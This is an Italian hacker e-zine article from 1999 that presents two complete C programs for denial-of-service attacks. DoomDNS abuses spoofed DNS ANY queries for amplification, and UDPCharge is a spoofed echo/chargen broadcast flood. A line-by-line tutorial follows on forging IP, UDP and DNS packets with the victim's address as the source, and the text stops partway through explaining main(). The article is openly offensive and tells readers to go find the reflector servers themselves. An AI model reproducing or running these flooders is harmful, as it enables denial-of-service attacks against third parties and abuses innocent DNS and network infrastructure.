============================================================================== =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- --------------------[ previous ]---[ index ]---[ next ]--------------------- ----------------------[ D0S VARi: iDEE A F0ND0 PERDUT0 ]--------------------- -----------------------------[ |scacco| & FuSyS ]----------------------------- NO(C)1999 |scacco|, FuSyS ############################################################################### PREREQUISITO: capitemi :) ..... secondo me DoSsare e' quanto di piu' banale ci possa essere e talvolta il rischio di essere giudicati come lameroni e' ovvio e meritato :P .... d'altra parte pero' questo tipo di approccio puo' servire ai pochi per cominciare ad affinare uno stato mentale: capire ed ideare. Probabilmente la maggior parte delle idee saranno gran belle ca!!ate [magari proprio come queste che vedrete <g>], ma senza idee si rimane solo script kids ############################################################################### --- D00MDNS & UDPCHARGE : iL C0DiCE --- Ci sono due tipi di DoS: quelli che rompono, ed altri che rompono... i coglioni alla gente :) .... stiamo parlando di nukes e flooders, rispettivamente. I nukers sono micidiali codicilli in grado di scardinare le scarse e deboli paratie presenti all'interno di ogni kernel o stack esistente. I flooders invece non sono altro che vampiri della preziosa banda che tanto anelate. In questo mini articolo vedremo essenzialmente due flooders che si basano sulla stessa tipologia [per i nukers dovrete aspettare che \sPIRIT\, |scacco| ed io troviamo un po' di tempo libero insieme :P] La tipologia e' quella classica basata sullo spoof dell'IP del poveraccio in una serie di query a servizi piu' o meno pesanti, ma che cmq offrano all'attaccante la possibilita' di aumentare l'effetto banda a scapito del destinatario. Vediamo prima i due codici per poi osservarne il funzionamento. ---------- snip ---------- /****************************************************************** * * * DOOMDNS Yet another flooder with 1:x pkts ratio. This one * * exploits DNS simple QUERY with spoofed UDPs. * * Since almost every DNS is bound to answer queries * * from the void, and since UDP doesn't provide a * * fruitful authentication process cause plain TCP * * does, uh !? ;) here we are. * * * * Why use DNS QUERY? Simple. We just want to make * * sure we've got a real advantage against our nice * * target so we look for a good I/O ratio. With just * * a few bytes (20-30) we can achieve responses of * * around 400-500 bytes. So we usually achieve a 20x * * ratio. Furthemore, every DNS reply will eligit * * ICMP unreach packets from the target since no UDP * * port will be open to accept data. A modem user * * confronted with large RR of type * (0xFF) will be * * flooded. * * * * hints by |scacco|, code by FuSyS * * http://www.s0ftpj.org * * * ******************************************************************/ #include <stdio.h> #include <string.h> #include <unistd.h> #include <stdlib.h> #include <sys/types.h> #include <sys/socket.h> #include <arpa/inet.h> #include <arpa/nameser.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/udp.h> #include <netdb.h> #include <time.h> #define IP_HEAD_BASE 20 #define UDP_HEAD_BASE 8 unsigned long saddr; int sfd, loop; char *dns_def[]={/* LISTA ASSENTE */ ,NULL}; char *domains[]={/* LISTA ASSENTE */ ,NULL}; struct DNS_MSG { HEADER head; char query[255]; }; struct dns_pkt { struct iphdr ip; struct udphdr udp; char data[1000]; }; unsigned long nameResolve(char *hostname) { struct in_addr addr; struct hostent *hostEnt; if((addr.s_addr=inet_addr(hostname)) == -1) { if(!(hostEnt=gethostbyname(hostname))) { fprintf(stderr,"N0 SUCH H0ST:`%s`\n",hostname); exit(0); } bcopy(hostEnt->h_addr,(char *)&addr.s_addr,hostEnt->h_length); } return addr.s_addr; } void forge (unsigned long daddr, unsigned short src, unsigned short dst) { struct sockaddr_in sin; struct dns_pkt dpk; struct DNS_MSG killer; int shoot, len; memset(&killer, 0, sizeof(killer)); killer.head.id=getpid(); killer.head.rd=1; killer.head.aa=0; killer.head.opcode=QUERY; killer.head.qr=0; killer.head.qdcount=htons(1); killer.head.ancount=htons(0); killer.head.nscount=htons(0); killer.head.arcount=htons(0); strcat(killer.query, domains[--loop]); killer.query[strlen(domains[loop])+2]=0x00FF; killer.query[strlen(domains[loop])+4]=0x0001; memset(&dpk, 0, sizeof(dpk)); dpk.udp.source=src; dpk.udp.dest=dst; len=(12+strlen(killer.query)+5); dpk.udp.len=htons(UDP_HEAD_BASE+len); memcpy(dpk.data, (void*)&killer, len); dpk.ip.ihl=5; dpk.ip.version=4; dpk.ip.tos=0; dpk.ip.tot_len=htons(IP_HEAD_BASE+UDP_HEAD_BASE+len); dpk.ip.frag_off=0; dpk.ip.ttl=64; dpk.ip.protocol=IPPROTO_UDP; dpk.ip.saddr=saddr; dpk.ip.daddr=daddr; memset(&sin, 0, sizeof(sin)); sin.sin_family=AF_INET; sin.sin_port=dst; sin.sin_addr.s_addr=daddr; shoot=sendto(sfd, &dpk,IP_HEAD_BASE+UDP_HEAD_BASE+len, 0, (struct sockaddr *)&sin, sizeof(sin)); if(shoot<0)fprintf(stderr, "SPOOF ERROR"); loop++; } void doomzone (void) { unsigned long daddr; unsigned short source, dest; if(dns_def[loop]==NULL) loop=0; daddr=nameResolve(dns_def[loop++]); source=htons(1024+(rand()%2000)); dest=htons(53); forge(daddr, source, dest); } int main (int argc, char **argv) { int sfdo; unsigned int hz=100; if(argc<2) { fprintf(stderr, "Interesting .... let's flood ourselves ?!\n"); fprintf(stderr, "Use: %s target [n]\n", argv[0]); exit(0); } if(argv[2]) hz=atoi(argv[2]); saddr=nameResolve(argv[1]); srand(time(NULL)); if((sfd=socket(AF_INET, SOCK_RAW, IPPROTO_RAW))<0) { fprintf(stderr, "\nSOCK_RAW Died\n"); exit(2); } sfdo=1; if(setsockopt(sfd, IPPROTO_IP, IP_HDRINCL, &sfdo, sizeof(sfdo))<0) { fprintf(stderr, "\nIP_HDRINCL Died\n"); exit(3); } printf("\n\033[1;32mD00M DNS\033[0m"); printf("\n\033[1;34mDNS Flooder by FuSyS\033[0m"); printf("\n\033[1;34minithints by |scacco|\033[0m\n\n"); loop=0; while(hz--) { doomzone(); printf("\033[1;34m.\033[0m"); } printf("\n\n"); return(0); } ---------- snip ---------- ---------- snip ---------- /****************************************************************** * * * UDP CHARGE Yet another flooder. This one exploits open UDP * * inetd ports (7/19). By spoofing the target IP and * * using open broadcast (DUP) networks, we are able * * to charge hard packets against the poorest :). * * * * hints by |scacco|, code by FuSyS * * [ S0ftPj | BFi ] * * http://www.s0ftpj.org * * * ******************************************************************/ #include <stdio.h> #include <string.h> #include <unistd.h> #include <stdlib.h> #include <ctype.h> #include <sys/types.h> #include <sys/socket.h> #include <arpa/inet.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/udp.h> #include <netdb.h> #include <time.h> #define IP_HEAD_BASE 20 #define UDP_HEAD_BASE 8 unsigned long saddr; int sfd, loop; char *chargers[]={/* LISTA ASSENTE */ ,NULL}; char *newls="\n"; char killer[5000]; struct udp_pkt { struct iphdr ip; struct udphdr udp; char newline[10000]; }; unsigned long nameResolve(char *hostname) { struct in_addr addr; struct hostent *hostEnt; if((addr.s_addr=inet_addr(hostname)) == -1) { if(!(hostEnt=gethostbyname(hostname))) { fprintf(stderr,"N0 SUCH H0ST:`%s`\n",hostname); exit(0); } bcopy(hostEnt->h_addr,(char *)&addr.s_addr,hostEnt->h_length); } return addr.s_addr; } void forge (unsigned long daddr, unsigned short src, unsigned short dst) { struct sockaddr_in sin; struct udp_pkt egg; int shoot, len, i; memset(&egg, 0, sizeof(egg)); memcpy(egg.newline, newls, strlen(newls)); len=(UDP_HEAD_BASE+strlen(egg.newline)); egg.udp.source=src; egg.udp.dest=dst; egg.udp.len=htons(len); egg.ip.ihl=5; egg.ip.version=4; egg.ip.tos=0; egg.ip.tot_len=htons(IP_HEAD_BASE+len); egg.ip.frag_off=0; egg.ip.ttl=64; egg.ip.protocol=IPPROTO_UDP; egg.ip.saddr=saddr; egg.ip.daddr=daddr; memset(&sin, 0, sizeof(sin)); sin.sin_family=AF_INET; sin.sin_port=dst; sin.sin_addr.s_addr=daddr; shoot=sendto(sfd, &egg,IP_HEAD_BASE+len, 0, (struct sockaddr *)&sin, sizeof(sin)); if(shoot<0)fprintf(stderr, "SPOOF ERROR"); egg.udp.dest=htons(7); for(i=0;i>10000;i++) memcpy(&egg.newline[i], "A", 1); egg.udp.len=htons(UDP_HEAD_BASE+10000); egg.ip.tot_len=htons(IP_HEAD_BASE+UDP_HEAD_BASE+10000); sin.sin_port=htons(7); shoot=sendto(sfd, &egg,IP_HEAD_BASE+len, 0, (struct sockaddr *)&sin, sizeof(sin)); if(shoot<0)fprintf(stderr, "SPOOF ERROR"); } void udpcharge (void) { unsigned long daddr; unsigned short source, dest; if(chargers[loop]==NULL) loop=0; daddr=nameResolve(chargers[loop++]); source=htons(1024+(rand()%2000)); dest=htons(19); forge(daddr, source, dest); } int main (int argc, char **argv) { int sfdo; unsigned int hz=100; if(argc<2) { fprintf(stderr, "Interesting .... let's flood ourselves ?!\n"); fprintf(stderr, "Use: %s target [n]\n", argv[0]); exit(0); } if(argv[2]) hz=atoi(argv[2]); saddr=nameResolve(argv[1]); srand(time(NULL)); if((sfd=socket(AF_INET, SOCK_RAW, IPPROTO_RAW))<0) { fprintf(stderr, "\nSOCK_RAW Died\n"); exit(2); } sfdo=1; if(setsockopt(sfd, IPPROTO_IP, IP_HDRINCL, &sfdo, sizeof(sfdo))<0) { fprintf(stderr, "\nIP_HDRINCL Died\n"); exit(3); } printf("\n\033[1;32mUDP CHARGE\033[0m"); printf("\n\033[1;34mUDP Flooder by FuSyS\033[0m"); printf("\n\033[1;34mbased on fraggle\033[0m\n\n"); loop=0; while(hz--) { udpcharge(); printf("\033[1;34m.\033[0m"); } printf("\n\n"); return(0); } ---------- snip ---------- DoomDNS fa una cosa molto semplice: invia una query di tipo ANY ad un server DNS da parte di un IP. A questo punto cosa succede? Semplice. Inviamo una semplice e banale richiesta con una ventina di byte, per ottenerne una di 350-600 byte a seconda del server. Per poter operare la richiesta abbiamo bisogno di una nuova serie di header come <arpa/nameser.h> per poter poi specificare una struttura di tipo DNS_MSG che contiene l'header "interessante" per i nostri scopi: struct DNS_MSG { HEADER head; char query[255]; }; In forge() modifichiamo l'header in modo che contenga una sola richiesta al server del tipo desiderato, dopodiche' la copiamo con memcpy() all'interno del solito e ormai [spero, con tutto quello che scrivo ;)] banale spoof UDP. Nota tecnica: per le query verso il DNS non basta l'IP numerico del server, ma anche il nome del dominio da gestire con la query. Questo non viene inserito come semplice stringa, ma encodato in un modo comprensibile dai nameserver. Per poter capire come utilizzare il codice e come riempire l'array di puntatori a carattere domains[] consultate l'ottimo :PPP RFC1035. Porte sorgenti casuali e destinazione sulla 53 dei server completano il quadro. Perche' casuali? Due motivi: creeranno una tempesta di ICMP_UNREACH per porte UDP NON aperte sul bersaglio e potrebbero anche colpire porte aperte, cosi' interferendo con la normale operazione di quei servizi. UdpCharge invece sfrutta porte aperte da inetd, come la 7 e la 19 per poterle colpire con richieste. Se a questo aggiungiamo la possibilita' di utilizzare LAN broadcast (come quelle usate da SMURF) si puo' capire come questo diventi una vera e propria gragnuola di colpi piu' o meno pesanti per il bersaglio, ma facilmente gestibili per un attaccante con la dovuta banda. In nessuno dei due codici acclusi e' presente la lista di server da utilizzare ne' tantomeno la lista delle LAN broadcast per rimbalzare. Sono sicuro che vi divertirete un mondo cercandole :) -- D00MDNS : C0ME FUNZi0NA --- FuSyS lo fa ed io ve lo spiego! Dopo aver accennato a FuSyS sul problema udp dei DNS il D.O.S e'stato preparato. Come funziona DOOMDNS? Semplice, iniziamo ad analizzare le singole funzioni: unsigned long nameResolve(char *hostname) { struct in_addr addr; struct hostent *hostEnt; if((addr.s_addr=inet_addr(hostname)) == -1) { if(!hostEnt=gethostbyname(hostname))) { fprintf(stderr,"NO SUCH HOST: %s\n),hostname); exit(0); } bcopy(hostEnt->h_addr,(char *)&addr.s_addr,hostEnt->h_lenght); } return addr.s_addr; } Questa funzione ha il compito di risolvere l'hostname del target, bovinamente deve convertire il nome di un host nel suo ip. Infatti accetta come parametro una variabile carattere che vedremo in seguito essere prorio argv[1] cioe' il parametro che passiamo al programma. All'inizio della routine vengono create 2 strutture e precisamente struct in_addr addr e struct hostent *hostEnt, nella struttura addr verra' memorizzato il nome risolto mentre la struttura hostEnt ha il compito di lavorare fisicamente sul nome del target. if((addr.s_addr=inet_addr(hostname)) == -1) questo if cerca di memorizzare all'interno di addr.s_addr indirizzo ip dell'host, se questo e' gia' sottoforma di 4 ottetti il risultato viene restituito immediatamente, altrimenti e' necessario risolvero e questa necessita' e' data dalla restituzione di -1. if(!hostEnt=gethostbyname(hostname))) questa sintassi compressa cerca di risolvere l'hostname, ma se la risoluzione fallisce visualizza tramite fprintf il messaggio di errore (notate la finesse dell'fprintf, io da programmatore bovino mi sarei limitato ad un classicissimo printf). Se la risoluzione avviene in modo corretto dobbiamo trasferire il risultato contenuto in hostEnt all'interno della struttura addr, cio' avviene tramite l'istruzione bcopy(hostEnt->h_addr,(char *)&addr.s_addr,hostEnt->h_lenght) : questa sembra una istruzioncina semplice, ma in realta' contiene alcuni aspetti molto interessanti. La sintassi va letta da sinistra verso destra, praticamente il valore della variabile hostEnt->h_addr viene passato tramite un casting (conversione di tipo) alla locazione di memoria puntata da addr.s_addr, controllando che il trasferimento di dati sia limitato alla vera lunghezza dell'hostname risolto tramite la variabile hostEnt->h_lenght. Questa e' un'altra finesse del nostro amico FuSyS per controllare il buffer (mai sentito parlare di buffer overflow o stack smashing?). A questo punto la variabile add.s_addr puo' essere restituita. unsigned short ip_fast_csum(unsigned char *iph, unsigned long ihl) unisgned long sum; __asm__ __volatile__(" movl (%1), %0 subl $4, %2 jbe 2f addl 4(%1), %0 adcl 8(%1), %0 adcl 12(%1), %0 1: adcl 16(%1), %0 lea 4(%1), %1 decl %2 jne 1b adcl $0, %0 movl %0, %2 shrl $16, %0 addw %w2, %w0 adcl $0, %0 notl %0 2: " : "=r" (sum), "=r" (iph), "=r" (ihl) : "1" (iph), "2" (ihl)); return(sum); } Il compito di questa funzione e' di calcolare il checksum per l'header ip, esistono 12000 versioni per eseguire questa funzione, forse questa risulta essere la migliore in quanto utilizza pure assembler. Se desiderate informazioni dettagliate sul funzionamento di questo codice dovete chiedere a \sPIRIT\ che lo fa di lavoro. Per chi si accontenta, in queste righe di codice vengono presi in considerazione l'header del pacchetto (iph) e la sua dimensione (ihl) e viene eseguito (tradotto spannometricamente dall'inglese) il complemento a 2 del complemento a 2 delle 16 word dell'header. Lo so che e' una cosa da flippati, ma se non volete che il vostro pacchettino venga sputato dal primo router che incontra dovete calcolarvelo! void forge(unsigned long daddr, unsigned short src, unsigned short dst) { struct sockaddr_in sin; struct dns_packet dpk; struct DNS_MSG killer; int shoot, len; memset(&killer, 0, sizeof(killer)); killer.head.id=getpid(); killer.head.rd=1; killer.head.aa=0; killer.head.opcode=QUERY; killer.head.qr=0; killer.head.qdcount=htons(1); killer.head.ancount=htons(0); killer.head.nscount=htons(0); killer.head.arcount=htons(0); strcat(killer.query, domains[--loop]); killer.query[strlen(domains[loop])+2]=0x00FF; killer.query[strlen(domains[loop])+4]=0x0001; memset(&dpk, 0, sizeof(dpk)); dpk.udp.source=src; dpk.udp.dest=dst; len=(12+strlen(killer.query)+5); dpk.udp.len=htons(UDP_HEAD_BASE+len); memcpy(dpk.data, (void*)&killer, len); dpk.ip.ihl=5; dpk.ip.version=4; dpk.ip.tos=0; dpk.ip.tot_len=htons(IP_HEAD_BASE+UDP_HEAD_BASE+len); dpk.ip.frag_off=0; dpk.ip.ttl=64; dpk.ip.protocol=IPPROTO_UDP; dpk.ip.saddr=saddr; dpk.ip.daddr=daddr; memset(&sin, 0, sizeof(sin)); sin.sin_family=AF_INET; sin.sin_port=dst; sin.sin_addr.s_addr=daddr; shoot=sendto(sdf, &dpk,IP_HEAD_BASE+UDP_HEAD_BASE+len,0,(struct sockaddr *)&sin, sizeof(sin)); if(shoot<0)fprintf(stderr, "SPOOF ERROR"); loop++; } Eccoci qui, come e' facile intuire dal nome (forge) questa funzione ha il compito di generare il pacchetto da inviare, questo pacchetto e' composto da tre parti principali: un header ip, un header udp e una sezione dati che nel nostro caso corrisponde ad un header dns. Questa funzione utilizza tre parametri cioe' daddr, src e dst. daddr e' l'indirizzo ip di destinazione, src e' la porta sorgente e dst e' la porta di destinazione, il primo parametro verra' utilizzato nella creazione dell'header ip mentre i seguenti 2 per la creazione dell'header udp. L'istruzione struct sockkaddr_in sin; genera una struttura sin derivandola da sockkaddr_in che nel file di include e' definita nel seguente modo: struct sockaddr_in { short int sin_family; /* Address family */ unsigned short int sin_port; /* Port number */ struct in_addr sin_addr; /* Internet address */ /* Pad to size of `struct sockaddr'. */ unsigned char __pad[__SOCK_SIZE__ - sizeof(short int) - sizeof(unsigned short int) - sizeof(struct in_addr)]; }; Questa struttura viene utilizzata per descrivere l'indirizzamento ip. Di seguito troviamo l'istruzione struct dns_packet dpk; che dichiara una struttura dpk derivante da dns_packet: questa struttura principale e' definita come: struct dns_pkt { struct iphdr ip; struct udphdr udp; char data[1000]; }; Notate anche in questo caso la finesse del nostro amico FuSyS: ha dichiarato in una struttura la forma finale del pacchetto da inviare, se vi ricordate prima vi ho detto che il pacchetto era diviso in tre parti, l'header ip (struct iphdr ip;), l'header upd (struct udphdr udp;) e l'header DNS (char data[1000];). Ricordate che l'ip non conosce il protocollo DNS e per questo motivo dobbiamo considerarlo forzatamente un gruppo di dati generici. Tramite la struttura struct DNS_MSG killer; definita nel seguente modo: struct DNS_MSG { HEADER head; char query[255]; }; Andiamo a generare la struttura che dovra' contenere il nostro pacchetto DNS all'interno del pacchetto ip e piu' precisamente nella sezione data. La definizione HEADER e' un'ulteriore struttura all'interno di DNS_MSG ed e' definita nel file arpa/nameser.h nel seguente modo: typedef struct { unsigned id :16; /* query identification number */ #if __BYTE_ORDER == __BIG_ENDIAN /* fields in third byte */ unsigned qr: 1; /* response flag */ unsigned opcode: 4; /* purpose of message */ unsigned aa: 1; /* authoritive answer */ unsigned tc: 1; /* truncated message */ unsigned rd: 1; /* recursion desired */ /* fields in fourth byte */ unsigned ra: 1; /* recursion available */ unsigned pr: 1; /* primary server req'd (!standard) */ unsigned unused :2; /* unused bits (MBZ as of 4.9.3a3) */ unsigned rcode :4; /* response code */ #endif #if __BYTE_ORDER == __LITTLE_ENDIAN || __BYTE_ORDER == __PDP_ENDIAN /* fields in third byte */ unsigned rd :1; /* recursion desired */ unsigned tc :1; /* truncated message */ unsigned aa :1; /* authoritive answer */ unsigned opcode :4; /* purpose of message */ unsigned qr :1; /* response flag */ /* fields in fourth byte */ unsigned rcode :4; /* response code */ unsigned unused :2; /* unused bits (MBZ as of 4.9.3a3) */ unsigned pr :1; /* primary server req'd (!standard) */ unsigned ra :1; /* recursion available */ #endif /* remaining bytes */ unsigned qdcount :16; /* number of question entries */ unsigned ancount :16; /* number of answer entries */ unsigned nscount :16; /* number of authority entries */ unsigned arcount :16; /* number of resource entries */ } HEADER; Con queste tre dichiarazioni di strutture abbiamo predisposto il tutto per la generazione del nostro pacchetto, ora non ci resta che riempire queste strutture con un minimo di criterio. Vengono anche definite 2 variabili shoot e len, la prima servira' per determinare se il pacchetto e' stato inviato nel modo sbagliato, la seconda per registrare la lunghezza dell'header. L'istruzione memset(&killer, 0, sizeof(killer)); predispone un'area di memoria nella locazione puntata dalla struttura killer (&killer) della dimensione della struttura stessa riempiendola di 0. Questa operazione e' indispensabile in quanto servira' come inizialized data per il nostro pacchetto. Se avete letto quanto detto prima killer rappresenta il nostro messaggio DNS che andra' oppurtunamente creato. Cerchero' di spiegarvi brevemente il significato di ogni valore della struttura, per avere informazioni molto piu' dettagliate dovete consultare i numerosi RFC, li trovate su ftp.ripe.net oppure potete usare l'utile motore di ricerca fornito da www.cgi.interbusiness.it . - killer.head.id=getpid(); La variabile id viene utilizzata per assegnare un numero identificativo ad un pacchetto DNS, pensate alla classica situazione in cui diversi host dietro ad un firewall eseguano una richiesta di risoluzione sullo stesso DNS Server, se non vi fosse un id si creerebbe una notevole confusione con la conseguente perdita di pacchetti, l'id di una query DNS e' definito dall'utente che invia la richiesta. Nel nostro caso questo valore non riveste alcuna importanza ed e' stato assegnato tramite la funzione getpid() che restituisce un intero rappresentante il numero del processo del nostro programma. - killer.head.rd=1; Questa variabile che e' veramente simile ad un flag informa il server dns che la richiesta richiede, o meglio, puo' richiedere una ricerca recursiva, cio' implica che se la richiesta effettuata non ha risposta sul server, lo stesso deve cercarla. E' stato utilizzato questo flag in quanto la nostra ricerca deve comunque portare risultati. - killer.head.aa=0; Il flag aa rappresenta una risposta di tipo autoritativo. Questo valore viene utilizzato durante una risposta da parte di un name server che possa esaudire la richiesta e sia autorizzato a farlo. Viene settato a 0 in quanto la nostra e' una domanda e non una richiesta e specificare che possediamo una risposta autoritativa in una domanda sarebbe abbastanza stupido. - killer.head.opcode=QUERY; Come e' facile intuire la variabile opcode e' utilizzata per informare il server dns sul tipo di dati in arrivo, nel nostro caso viene effettuata una richiesta e quindi il valore e' impostato a QUERY, QUERY non e' il vero valore, ma e' un define. - killer.head.qr=0; Qr rappresenta il flag di risposta, cioe' specifica che il pacchetto possiede una risposta ad una domanda precedentemente avvenuta, anche in questo caso per noi corrisponde a 0 inquanto stiamo effettuando una domanda. - killer.head.qdcount=htons(1); La variabile qdcount rappresenta il numero di richieste contenute nel pacchetto, nel nostro caso questo valore e' settato a 1, *** parere personale *** forse si potrebbe lavorare su questo flag per ottenere una maggiore amplificazione, ne parlero' con FuSyS. - killer.head.ancount=htons(0); La variabile ancount rappresenta il numero delle risposte presenti nel pacchetto, come sempre il nostro pacchetto e' una domanda e non conterra' nessun tipo di risposta. - killer.head.nscount=htons(0); La variabile nscount rappresenta il numero dei server autoritativi per una risposta individuati; noi stiamo facendo una domanda: per questo motivo il flag deve essere settato a 0. D'ora in poi non specifichero' piu' che stiamo facendo una query perche' credo che sia abbastanza chiaro a questo punto della lettura. - killer.head.arcount=htons(0); La variabile arcount contiene il numero delle risorse del pacchetto DNS, l'invio non richiede risorse. - strcat(killer.query, domains[--loop]); Tramite strcat si assegna alla variabile killer.query il valore memorizzato all'interno dell'array puntato da --loop. L'array domains viene dichiarato all'inizio del file nella seguenta forma: char *domains["\x3ibm\003com\x0", "\003aol\003com\x0" ecc... come potete immaginare \x3ibm\003com\x0 sta per ibm.com, se volete sapere il perche' di questa sintassi dovete informarvi sul protocollo DNS. La variabile loop dichiarata come int specifica la posizione all'interno dell'array e la sintassi compressa --loop significa che a killer.query viene assegnato il valore decrementando loop ogni ciclo. - killer.query[strlen(domains[loop])+2]=0x00FF; All'interno di killer.query vanno anche inseriti dei parametri. Vi devo ricordare che a sua volta killer.query e' un array. Per inserire i parametri nell'array senza sovrascrivere il valore inserito tramite strcat(killer.query, domains[--loop]); dobbiamo spostarci all'interno dell'array stesso e per fare cio' utilizziamo [strlen(domains[loop])+2] dove strlen(domains[loop]) fornisce la lunghezza in byte del dns immesso a cui viene sommato 2. A questo punto possiamo inserire il valore 0x00FF che rappresenta il numero delle risposte che richiediamo. - killer.query[strlen(domains[loop])+4]=0x0001; La stessa procedura e' utilizzata per inserire nella variabile killer.query il valore 0x0001 che corrisponde in esadecimale al numero delle richieste contenute nel pacchetto. Nel nostro caso corrisponde a 1. - memset(&dpk, 0, sizeof(dpk)); Questa istruzione ha lo stesso significato di memset(&killer, 0, sizeof(killer)); - dpk.udp.source=src; In questo caso stiamo costruendo un pacchetto udp, nella variabile dpk.udp.source dobbiamo andare ad inserire il valore della porta sorgente. - dpk.udp.dest=dst; Nella variabile dpk.udp.dest dobbiamo andare ad inserire il valore della porta di destinazione che nel caso di una query dns sara' sempre e comunque 53. -len=(12+strlen(killer.query)+5); Dobbiamo calcolare la lunghezza del nostro pacchetto udp. Per fare cio' aggiungiamo 17 alla dimensione della nostra query dns. Questa comunque non risulta essere la dimensione corretta infatti... -dpk.udp.len=htons(UDP_HEAD_BASE+len); Andiamo a memorizzare all'interno della variabile dpk.udp.len (che come avrete capito e' proprio la lunghezza del pacchetto) il valore di len sommato ad UDP_HEAD_BASE che e' definito all'inizio del file come #define UPD_HEAD_BASE 8. - memcpy(dpk.data, (void*)&killer, len); Tramite questa istruzione andiamo a copiare nello spazio di memoria riservato ai dati del pacchetto udp il pacchetto killer che e' la query dns, la variabile len definisce la quantita' di dati da copiare. - dpk.ip.ihl=5; In questa sezione andiamo a completare la parte ip del pacchetto. La prima variabile rappresenta la lunghezza dell'header (Ip Header Lenght) a cui e' assegnato il valore 5. - dpk.ip.version=4; Come e' facile intuire la variabile version rappresenta la versione di ip su cui stiamo lavorando, cioe' 4. Pare che presto passeremo a 6, chi vivra' vedra'. Noi per sicurezza mettiamo 4 non vogliamo precedere i tempi. - dpk.ip.tos=0; La variabile tos (Type Of Service) specifica alcune proprieta' del pacchetto. Questa variabile e' stata settata a zero e sicuramente FuSyS avra' avuto i suoi buoni motivi, cio' non toglie che la mia idea sia quella di cambiare questo valore per incrementare il troughtput cioe' ottimizzare il pacchetto in modo che sfrutti totalmente la banda. Pare che questo valore influenzi soprattutto i router cisco... ormai ci vivo in mezzo e ne vorrei uno applicato all'orecchio. - dpk.ip.tot_len=htons(IP_HEAD_BASE+UDP_HEAD_BASE+len); Come in precedenza dobbiamo specificare la lunghezza complessiva del pacchetto e questa volta e' ottenuta tramite la somma di IP_HEAD_BASE, UDP_HEAD_BASE e len. Voglio ricordarvi che IP_HEAD_BASE e' definito come: #define IP_HEAD_BASE 20. - dpk.ip.frag_off=0; La variabile frag_off rappresenta lo spiazzamento di questo pacchetto rispetto al frammento precedente (fare riferimento a frammentazione e simili). Nel nostro caso non vi sono precedenti frammenti e questo valore deve essere settato a 0. - dpk.ip.ttl=64; La variabile ttl (Time To Live) rappresenta il numero massimo di hop che il pacchetto puo' eseguire prima di essere scartato. Ogni volta che il pacchetto passa un hop questo valore viene decrementato di 1. Se il valore diventa uguale a 0 l'hop seguente e' obbligato a scartarlo. Diciamo che per la dimensione attuale di internet questo valore e' piu' che sufficiente, per sicurezza si potrebbe utilizzare 255, ma per non essere il solito smanettatore di pacchetti FuSyS ci mette del suo anche in questo caso. - dpk.ip.protocol=IPPROTO_UDP; Nella variabile protocol dobbiamo specificare quale protocollo segue il pacchetto ip in modo tale che l'host ricevente sappia come comportarsi. IPPROTO_UDP non e' il vero parametro inviato, infatti questo valore deve essere numerico, utilizziamo la forma letterale in quanto e' piu' semplice, i numeri assegnati (vedere rfc assigned numbers) sono tantissimi. - dpk.ip.saddr=saddr; Nella variabile saddr e' memorizzato l'ip sorgente che nel nostro caso sara' l'ip del nostro target.. si' questo puo' sembrare un paradosso, in realta' e' abbastanza chiaro... Colui che deve ricevere la risposta del dns non siamo noi, ma e' il povero flooded. - dpk.ip.daddr=daddr; Per la variabile daddr vale lo stesso discorso, dobbiamo specificare la destinazione del nostro pacchetto che sara' il name server selezionato. - memset(&sin, 0, sizeof(sin)); Come visto in precedenza questa istruzione carica in memoria la struttura sin. Questa struttura e' utilizzata come trasportatore di alto livello, infatti... - sin.sin_family=AF_INET; La variabile sin_family viene settata al valore di AF_INET cioe' stiamo lavorando con pacchetti internet. - sin.sin_port=dst; Tramite sin_port viene specificata come precedentemente la porta di destinazione che nel nostro caso e' 53. - sin.sin_addr.s_addr=daddr; Nella variabile s_addr dobbiamo andare a specificare l'ip sorgente che, come detto prima, nel nostro caso e' la destinazione. - shoot=sendto(sdf, &dpk,IP_HEAD_BASE+UDP_HEAD_BASE+len,0,(struct sockaddr *)&sin, sizeof(sin)); Eccoci al passaggio chiave, tramite questa funzione inviamo il pacchetto, da notare che shoot e' dichiarato integer in quanto vogliamo che in questa variabile venga restituito un codice di errore che se risulta essere inferiore a 0 ci comunica una impossibilita' di inviare il pacchetto. Analizziamo il valore che andiamo a passare alla funzione, il primo e' sdf, un integer che rappresenta il socket descriptor del pacchetto. Il secondo parametro e' il nostro pacchetto vero e proprio: infatti e' dpk che viene esplicitamente cotruito tramite la struttura dpk.xxx.xxx e intrinsecamente tramite il trasferimento della query dns nella sezione dati udp. Il parametro successivo specifica la lunghezza del pacchetto cioe' IP_HEAD_BASE+UDP_HEAD_BASE+len, mentre 0 sta a rappresentare il valore di padding, valore con il quale va eseguito il riempimento, o meglio il completamento, del pacchetto. Il parametro successivo specifica di utilizzare come layer fisico di trasporto la struttura sin, incapsulando il pacchetto precedente con una lunghezza massima definita da sizeof(sin). - if(shoot<0)fprintf(stderr, "SPOOF ERROR"); Come detto precedentemente viene eseguito un controllo sull'invio del pacchetto tramite la variabile shoot. - loop++; Viene incrementata la variabile globale loop. Vediamo ora da che procedura viene richiamata la funzione forge: void doomzone (void) unsigned long daddr; unsigned short source, dest; if(dns_def[loop]==NULL) loop =0; daddr=nameResolve(dns_def[loop++]); source=htons(1024+(rand()%2000); dest=htons(53); forge(daddr, source, dest); Eccola qui, prima di tutto vengono definite 3 variabili, una unsigned long di nome daddr che rappresenta ovviamente l'indirizzo di destinazione del pacchetto, e 2 unsigned short source e dst che sono rispettivamente il target e la porta di destinazione per il principio espresso precedentemente. dns_def e' un array in cui sono inseriti i name server da utilizzare durante le query, viene eseguito un controllo sul valore puntato da dns_def[loop], se corrisponde a NULL, cioe' e' l'ultimo name server, allora loop viene settato a 0. Ora dobbiamo ottenere l'indirizzo di destinazione tramite la funzione nameResolve descritta precedentemente; si noti che la variabile loop viene incrementata e nel caso peggiore in cui si abbia loop = 0 non si generera' un errore cercando di risolvere il nome 0, ma si utilizzera' il primo indirizzo disponibile. source come detto precedentemente rappresenta la porta locale. Non e' importante quale sia: per questo motivo si utilizza un rand() incatenato per non fargli restituire valore non possibili. Come detto mille volte dest rappresenta la porta di destinazione che sara' sempre 53. Dopo tutti questi passaggi possiamo finalmente richiamare la funzione forge tramite gli appositi parametri. Tutte le funzioni interessanti sono state trattate. Ora ci rimane sono da analizzare la classica main con particolare attenzione alle istruzioni che riguardano l'inizializzazione dei socket per capire meglio quanto detto in precedenza. int main(int argc, char **argv) { int sfdo; unsigned int 